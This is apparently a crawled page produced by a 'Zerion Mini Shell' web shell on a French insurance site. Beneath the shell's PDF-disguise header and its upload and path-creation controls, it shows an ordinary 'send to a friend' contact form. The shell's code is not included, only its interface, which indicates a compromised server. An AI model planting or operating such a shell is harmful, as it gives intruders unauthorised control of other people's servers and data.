%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/kfvehpdt/mutuelles-presence.fr/pages/
Upload File :
Create Path :
Current File : /home/kfvehpdt/mutuelles-presence.fr/pages/open_envoyer_ami.php

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta content="text/html; charset=ISO-8859-1"
 http-equiv="content-type">
 <title>Mutuelles Pr&eacute;sence</title>
  <link media="all" rel="stylesheet"
 href="../stylesheets_site/style_open_window.css" type="text/css">
</head>
<body>
<div id="conteneur">
<div id="header"><a href="javascript:window.top.close()"><img
 style="border: 0px solid ; float: right; margin-top: 23px; margin-right: 10px;"
 alt="fermer" src="../pictos_site/btn_fermer.gif"></a></div>

<div id="centre">
<h1>Envoyer &agrave; un ami</h1>


Les champs obligatoires(*) sont n&eacute;cessaires au traitement de
votre demande.<br>
<form method="post" action="open_envoyer_ami.php" name="ami">
<input type="hidden" name="uri" value="">
<input type="hidden" name="tag" value="ok">
<br>
  <span style="font-weight: bold;">Votre nom* :</span><br>
  <input class="habillage-champs" style="margin-bottom: 10px" name="nom" size="24"
 type="text"><br>
  <span style="font-weight: bold;">Votre pr&eacute;nom* :</span><br>
  <input class="habillage-champs" style="margin-bottom: 10px" name="prenom" size="24"
 type="text"><br>
  <span style="font-weight: bold;">Votre email* :</span><br>
  <input class="habillage-champs" style="margin-bottom: 10px" name="email" size="24"
 type="text"><br>
  <span style="font-weight: bold;">Email du destinataire* :</span><br>
  <input class="habillage-champs" style="margin-bottom: 10px" name="destinataire" size="24"
 type="text"><br>
  <span style="font-weight: bold;">Message :</span><br>
  <textarea class="habillage-message" style="margin-bottom: 10px" name="message" rows="5"></textarea><br>
  <a href="javascript:document.ami.submit()"><img style="border: 0px solid ;" alt="envoyer" src="../pictos_site/btn_valider.gif"></a>
 </form>
<hr>

</div>
</div>
</body>
</html>

Zerion Mini Shell 1.0